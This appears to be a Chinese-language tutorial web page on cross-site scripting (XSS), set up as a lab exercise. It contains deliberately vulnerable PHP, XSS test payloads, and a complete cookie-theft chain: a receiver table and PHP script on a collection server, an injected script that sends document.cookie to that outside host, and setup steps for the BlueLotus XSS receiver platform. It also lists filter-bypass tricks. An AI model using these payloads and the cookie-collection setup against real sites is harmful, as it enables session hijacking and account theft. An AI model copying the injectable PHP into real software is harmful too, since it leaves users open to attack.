XSS跨站攻击漏洞
XSS跨站攻击漏洞
一 概述
1 XSS概述
xss全称为:Cross Site Scripting,指跨站攻击脚本,XSS漏洞发生在前端,攻击的是浏览器的解析引擎,XSS就是让攻击者的JavaScript代码在受害者的浏览器上执行。
XSS攻击者的目的就是寻找具有XSS漏洞的网页,让受害者在不知情的情况下,在有XSS漏洞的网页上执行攻击者的JavaScript代码。
XSS是提前埋伏好漏洞陷阱,等着受害者上钩。既然攻击者是执行JavaScript代码,所以攻击的语句应该能让JavaScript运行。
有两种途径
第一种 反射型
直接将js代码附在url中,把url发送给指定的用户。引诱其点击。
第二种 存储型
把js代码通过后端漏洞,存入数据库中,由于页面在接受服务器返回响应时会从数据库中取出js代码,造成访问该页面的所有用户被攻击。
2 危害
1.页面挂马 2.获取用户的cookie 3.ddos攻击 4.钓鱼攻击 5.篡改数据 6.传播病毒
二 原理
1 反射型
(1)用户输入内容,直接显示在页面
php
<?php$content = $_GET["content"];echo "$content" ?>
payload
192.172.10.41/week3/demo1.php?content=<script>alert(1)</script>
(2)将用户输入的内容,回显在标签对中
php
<!DOCTYPE html> <html lang="en"> <head><meta charset="UTF-8"><title>Document</title> </head> <body><div><?php$content = $_GET["content"];echo "$content"?></div> </body> </html>
payload
192.172.10.41/week3/demo1.php?content=hello
(3) 将用户的输入回显在标签属性中
php
<!DOCTYPE html> <html lang="en"> <head><meta charset="UTF-8"><title>Document</title> </head> <body><div><?php$content = $_GET["content"];?><input type="text" value="<?=$content;?>"></div> </body> </html>
payload
闭合标签,添加script标签 192.172.10.41/week3/demo1.php?content=hello"><script>alert(1)</script><!-- 添加事件 192.172.10.41/week3/demo1.php?content=hello" οnmοuseοver="alert(1) 嵌入网页 192.172.10.41/week3/demo1.php?content="><iframe src="https://www.taobao.com" width="100%" heigth="100%" ></iframe><!-- 添加页面元素 192.172.10.41/week3/demo1.php?content="><img src="./image/dateme.gif" οnclick="alert(1)"><!--
XSS常用测试语句
<script>alert(1)</script> <img src=1 οnerrοr=alert(1)> <svg οnlοad=alert(1)> <a href=javascript:alert(1)> <input οnfοcus=write(1) autofocus>
2 存储型
将攻击脚本通过后端写入到数据库中,用户在访问页面时,后端通过查询将所有数据回显在页面触发攻击。
php-add
<?phpinclude "utils/dbUtil.php";
//1.接收用户输入$content = $_GET['content'];//2.sql$sql = "insert into week3_test values(default,'$content')";//3.执行sql$res = executeSql($sql);//判断结果if($res){echo "success";}else{echo "error";}
?>
192.172.10.41/week3/demo2-xss存储型-add.php?content=百度<script>alert(1)</script>
php-findById
<?phpinclude "utils/dbUtil.php";
//1.接收用户输入$id = $_GET['id'];//2.sql$sql = "select * from week3_test where id=$id";//3.执行sql$res = queryOne($sql);//判断结果if($res){print_r($res);}else{echo "error";}
?>
192.172.10.41/week3/demo3-xss存储型-findById.php?id=4
三 XSS获取Cookie
1 发送cookie
php
<?phpsession_start();$content = $_GET["content"];echo $content; ?>
注入代码
PHP后台需要将 + 号处理为:%2B,将 & 处理为 %26 语法获取浏览器cookie值 document.cookie发送请求 <script>location.href=url</script><script>location.href="http://ip.php?cookie="%2bocument.cookie</script><script>new Image().src="http://ip.php?cookie="%2bocument.cookie</script>
2 准备C2服务器
搭建phpstudy环境
-
安装phpstudy

-
打开软件,启动Apache和MySQL服务。

-
点击网站,点击管理里的根目录。这里面放的是我们需要去执行的文件,也就是www目录下面。

-
我们在这个文件里面创建一个简单的php文件。

-
打开浏览器,输入http://localhost/phpinfo.php。phpinfo.php是你写的文件名

开发xss服务器端
表
CREATE TABLE `getcookie` (`id` int(0) NOT NULL AUTO_INCREMENT,`url` varchar(1000) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NULL DEFAULT NULL,`cookie` varchar(1000) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NULL DEFAULT NULL,`createtime` timestamp(0) NULL DEFAULT NULL,PRIMARY KEY (`id`) USING BTREE ) ENGINE = InnoDB CHARACTER SET = utf8mb4 COLLATE = utf8mb4_bin ROW_FORMAT = Dynamic;
php
<?php$url = $_GET['url'];$cookie = $_GET['cookie'];//1.连接数据库 参数说明: ip 账号 密码 数据库$conn = mysqli_connect("127.0.0.1",'root','root','part3'); //2.设置编码格式utf-8mysqli_query($conn,"set names utf8");//3.sql$sql = "insert into getcookie(url,cookie,createtime) values('$url','$cookie',now())";//4.执行sql$res = mysqli_query($conn,$sql) or die("执行失败".mysqli_error($conn));
?>
3 开始注入获取cookie
192.172.10.41/week3/demo1-xss反射型.php?content=hello<script>new Image().src="http://192.172.10.40/getcookie.php?url="%2Bdocument.cookie%2B"%26cookie="%2Blocation.href </script>


四 BlueLotusXSS平台使用
一、安装
下载地址 GitHub - sqlsec/BlueLotus_XSSReceiver: XSS平台 CTF工具 Web安全工具
1 上传BlueLotus_XSSReceiver-master.zip到xampp
把BlueLotus_XSSReceiver-master.zip上传到CentOS的/opt/lampp/htdocs目录,并解压 解压 unzip BlueLotus_XSSReceiver-master.zip
2 访问:192.172.10.41/BlueLotus_XSSReceiver-master/install.php
按照提示将config-sample.php改名为config.php 不要点安装

3 配置目录权限
执行命令:chmod o+w data myjs template
![]()
4 登录
登录地址 http://192.172.10.41/BlueLotus_XSSReceiver-master/login.php 登录密码 bluelotus

5 进入首页

二、定制XSS代码
1 生成payload

生成Payload后,直接将其代码复制到XSS页面中即可

2 在页面上注入代码
192.172.10.41/week3/demo1-xss反射型.php?content=hello<script src="http://192.172.10.41/BlueLotus_XSSReceiver-master/myjs/getcookie.js"></script>

接收到数据

https://github.com/sqlsec/BlueLotus_XSSReceiver
五 XSS的防御和绕过
1 防御
(1) 前端校验 针对用户输入框进行js校验。
(2)通过函数对用户输入内容中的特殊符号进行转码.
htmpspcialchars(字符串,ENT_QUOTES); ENT_QUOTES表示对单引号进行转码
(3)通过字符串替换:替换规则需要考虑各种覆盖。
str_replace()
2 绕过
(1)针对前端校验
在浏览器上禁用js 通过工具或者协议绕过前端。
(2)函数替换
1 可以使用实体转码j
2 大小写绕过: 针对没有忽略大小写
<Script></sCript>
3 双写绕过 str_replace("script","",$str);
scrscriptipt
4 如果对空格进行了替换 使用 %0或者%0d绕过
六 XSS靶场实战

相关文章:
XSS跨站攻击漏洞
XSS跨站攻击漏洞 一 概述 1 XSS概述 xss全称为:Cross Site Scripting,指跨站攻击脚本,XSS漏洞发生在前端,攻击的是浏览器的解析引擎,XSS就是让攻击者的JavaScript代码在受害者的浏览器上执行。 XSS攻击者的目的就是…...
PMP到底值不值得考?
首先,咱们得明白PMP是个啥。 PMP,全称Project Management Professional,是美国项目管理协会PMI颁发的一个项目管理专业人士资格认证。 PMP证书在项目管理领域可是有着举足轻重的地位,与MBA、MPA并驾齐驱,被称为“全球…...
redis面试总结
redis的数据类型? string字符串:类似于java中Map<String,String>。存储字符串、JSON数据、验证码等。 Hash字典:类似java中Map<String, Map<Spring,String>>。比较适合存储对象数据。 List列表:类似java中Ma…...
大模型日报2024-06-24
大模型日报 2024-06-24 大模型资讯 大模型产品 AI快速生成专业播客 摘要: MakePodcast.io使用AI语音,只需提供脚本并选择声音,即可在几分钟内生成专业质量的播客。 Sherloq:SQL用户的AI协作仓库 摘要: Sherloq为SQL查询提供一站式管理&#x…...
深入理解计算机系统 CSAPP 练习题7.4
A:0x4004e8(-4)-50x4004df B:0x5...
摘苹果-第13届蓝桥杯省赛Python真题精选
[导读]:超平老师的Scratch蓝桥杯真题解读系列在推出之后,受到了广大老师和家长的好评,非常感谢各位的认可和厚爱。作为回馈,超平老师计划推出《Python蓝桥杯真题解析100讲》,这是解读系列的第88讲。 摘苹果࿰…...
开源项目推荐-vue2+element+axios 个人财务管理系统
文章目录 financialmanagement项目简介项目特色项目预览卫星的实现方式:首次进入卫星效果的实现方式:卫星跟随鼠标滑动的随机效果实现方式:环境准备项目启动项目部署项目地址 financialmanagement 项目简介 vue2elementaxios 个人财务管理系…...
手机数据如何恢复?11 款最佳安卓手机恢复软件
媒体可能由于各种原因而从您的设备中删除,可能是意外或病毒攻击。 在这些情况下,照片恢复应用程序是唯一的解决方案。理想的照片恢复应用程序取决于各种因素,例如存储设备的损坏程度、删除照片后的持续时间以及应用程序使用的恢复算法的有效性…...
大语言模型千问2的web搭建(streamlit)
Qwen2的web搭建(streamlit) 千问2前段时间发布了,个人觉得千问系列是我用过最好的中文开源大模型,所以这里基于streamlit进行一个千问2的web搭建,来进行模型的测试 一、硬件要求 该文档中使用的千问模型为7B-Instruct,需要5g以…...
守护生产车间安全:可燃气体报警器预警与检测的重要性
近日,东莞一材料厂发生的火灾事故再次敲响了工业安全生产的警钟。 这起事故不仅给工厂带来了巨大的经济损失,也暴露了一些企业在安全管理方面的疏漏。其中,可燃气体报警器的应用与预警功能在火灾防范中扮演了至关重要的角色。 接下来&#…...
[创业之路-125] :制造业企业的必备管理神器-ERP-计算的资源管理与企业的资源管理的异同
目录 一、计算机的资源与企业资源相同点与不同点 1.1 相同点: 1.2 不同点: 二、计算机的内存管理与企业的库存管理相同点与不同点 2.1 相同点: 2.2 不同点: 一、计算机的资源与企业资源相同点与不同点 计算机的资源与企业资…...
TDengine Cloud 新增签约,这次是能源物联网平台
最近,全托管的物联网、工业大数据云服务平台 TDengine Cloud 新增一项签约🥳。为进一步提升平台的数据处理能力与系统稳定性,推动智能设备数据管理和能效优化到新的高度, 德中恒越物联网数据平台选择应用 TDengine Cloud ☁️。 …...
Kafka 最佳实践:构建高性能、可靠的数据管道
目录 1. 部署最佳实践 1.1 硬件配置 1.2 集群配置 1.3 ZooKeeper 配置 2. 主题和分区设计 2.1 分区设计 2.2 数据保留策略 3. 生产者最佳实践 3.1 生产确认机制 3.2 重试机制 3.3 批量发送 4. 消费者最佳实践 4.1 消费组管理 4.2 并行处理 4.3 错误处理 5. 安全…...
进军韩国5G市场!移远通信5G模组RG500L-EU率先获得KT、LGU+认证
近日,移远通信工规级5G模组RG500L-EU再传喜讯,率先通过了韩国两大运营商KT和LGU的严格认证。在此之前,该模组已顺利通过KC认证(韩国法规认证),此次再获运营商认证表明,RG500L-EU已完全满足韩国…...
http/2 二进制分帧层 (Binary Framing Layer)讲解
文章目录 二进制帧HTTP/2 中的帧、消息和流1. 帧(Frame)2. 消息(Message)3. 流(Stream)总结示例: 二进制帧结构1.帧头部结构2.帧负载数据 请求和响应多路复用 链接参考:https://web.…...
Mybatis分页查询,同时返回total
在垃圾项目中一般都是使用mybatis plus自动返回Page,但是涉及到多表联合或者等等情况最终还是要使用mybatis进行手写sql查询,所以有此文章以便后续使用查询. 首先mysql需要支持多条查询语句,在mysql配置url后加上: &allowMultiQueriestrue&useAffectedRowstrue Mapper…...
JDK17新增语法特征
1、引言 Spring Boot 3.0 开始不再支持 JDK 8,转而支持 JDK 17。 这篇博客我会列举较常用的新语法特性。 2、新增语法特征 2.1 yield关键字 从Java13开始引⼊yield关键字,yield关键字应用于switch语句中,我们可以使用yield来简化代码。 正常的…...
2748. 美丽下标对的数目(Rust暴力枚举)
题目 给你一个下标从 0 开始的整数数组 nums 。如果下标对 i、j 满足 0 ≤ i < j < nums.length ,如果 nums[i] 的 第一个数字 和 nums[j] 的 最后一个数字 互质 ,则认为 nums[i] 和 nums[j] 是一组 美丽下标对 。 返回 nums 中 美丽下标对 的总…...
Vue中双向数据绑定是如何实现的
在 Vue.js 中,双向数据绑定(也称为响应式系统)是通过其内部实现的一个系统来实现的,该系统可以追踪数据的变化,并在数据变化时自动更新 DOM。Vue 使用了一种称为“观察者-订阅者”的模式来实现这一点。 以下是 Vue 双…...
桌面云和云桌面的区别联系
桌面云和云桌面是两个相关但不完全相同的概念。桌面云是一种基于云计算技术的解决方案,将用户的桌面环境(包括操作系统、应用程序和数据)移至云端进行管理和交付,而云桌面是在服务器上虚拟化的桌面环境,用户通过网络连…...
在软件开发中正确使用MySQL日期时间类型的深度解析
在日常软件开发场景中,时间信息的存储是底层且核心的需求。从金融交易的精确记账时间、用户操作的行为日志,到供应链系统的物流节点时间戳,时间数据的准确性直接决定业务逻辑的可靠性。MySQL作为主流关系型数据库,其日期时间类型的…...
STM32F4基本定时器使用和原理详解
STM32F4基本定时器使用和原理详解 前言如何确定定时器挂载在哪条时钟线上配置及使用方法参数配置PrescalerCounter ModeCounter Periodauto-reload preloadTrigger Event Selection 中断配置生成的代码及使用方法初始化代码基本定时器触发DCA或者ADC的代码讲解中断代码定时启动…...
django filter 统计数量 按属性去重
在Django中,如果你想要根据某个属性对查询集进行去重并统计数量,你可以使用values()方法配合annotate()方法来实现。这里有两种常见的方法来完成这个需求: 方法1:使用annotate()和Count 假设你有一个模型Item,并且你想…...
【C语言练习】080. 使用C语言实现简单的数据库操作
080. 使用C语言实现简单的数据库操作 080. 使用C语言实现简单的数据库操作使用原生APIODBC接口第三方库ORM框架文件模拟1. 安装SQLite2. 示例代码:使用SQLite创建数据库、表和插入数据3. 编译和运行4. 示例运行输出:5. 注意事项6. 总结080. 使用C语言实现简单的数据库操作 在…...
如何理解 IP 数据报中的 TTL?
目录 前言理解 前言 面试灵魂一问:说说对 IP 数据报中 TTL 的理解?我们都知道,IP 数据报由首部和数据两部分组成,首部又分为两部分:固定部分和可变部分,共占 20 字节,而即将讨论的 TTL 就位于首…...
Linux 内存管理实战精讲:核心原理与面试常考点全解析
Linux 内存管理实战精讲:核心原理与面试常考点全解析 Linux 内核内存管理是系统设计中最复杂但也最核心的模块之一。它不仅支撑着虚拟内存机制、物理内存分配、进程隔离与资源复用,还直接决定系统运行的性能与稳定性。无论你是嵌入式开发者、内核调试工…...
Python Ovito统计金刚石结构数量
大家好,我是小马老师。 本文介绍python ovito方法统计金刚石结构的方法。 Ovito Identify diamond structure命令可以识别和统计金刚石结构,但是无法直接输出结构的变化情况。 本文使用python调用ovito包的方法,可以持续统计各步的金刚石结构,具体代码如下: from ovito…...
【无标题】路径问题的革命性重构:基于二维拓扑收缩色动力学模型的零点隧穿理论
路径问题的革命性重构:基于二维拓扑收缩色动力学模型的零点隧穿理论 一、传统路径模型的根本缺陷 在经典正方形路径问题中(图1): mermaid graph LR A((A)) --- B((B)) B --- C((C)) C --- D((D)) D --- A A -.- C[无直接路径] B -…...
面试高频问题
文章目录 🚀 消息队列核心技术揭秘:从入门到秒杀面试官1️⃣ Kafka为何能"吞云吐雾"?性能背后的秘密1.1 顺序写入与零拷贝:性能的双引擎1.2 分区并行:数据的"八车道高速公路"1.3 页缓存与批量处理…...
客户案例 | 短视频点播企业海外视频加速与成本优化:MediaPackage+Cloudfront 技术重构实践
01技术背景与业务挑战 某短视频点播企业深耕国内用户市场,但其后台应用系统部署于东南亚印尼 IDC 机房。 随着业务规模扩大,传统架构已较难满足当前企业发展的需求,企业面临着三重挑战: ① 业务:国内用户访问海外服…...
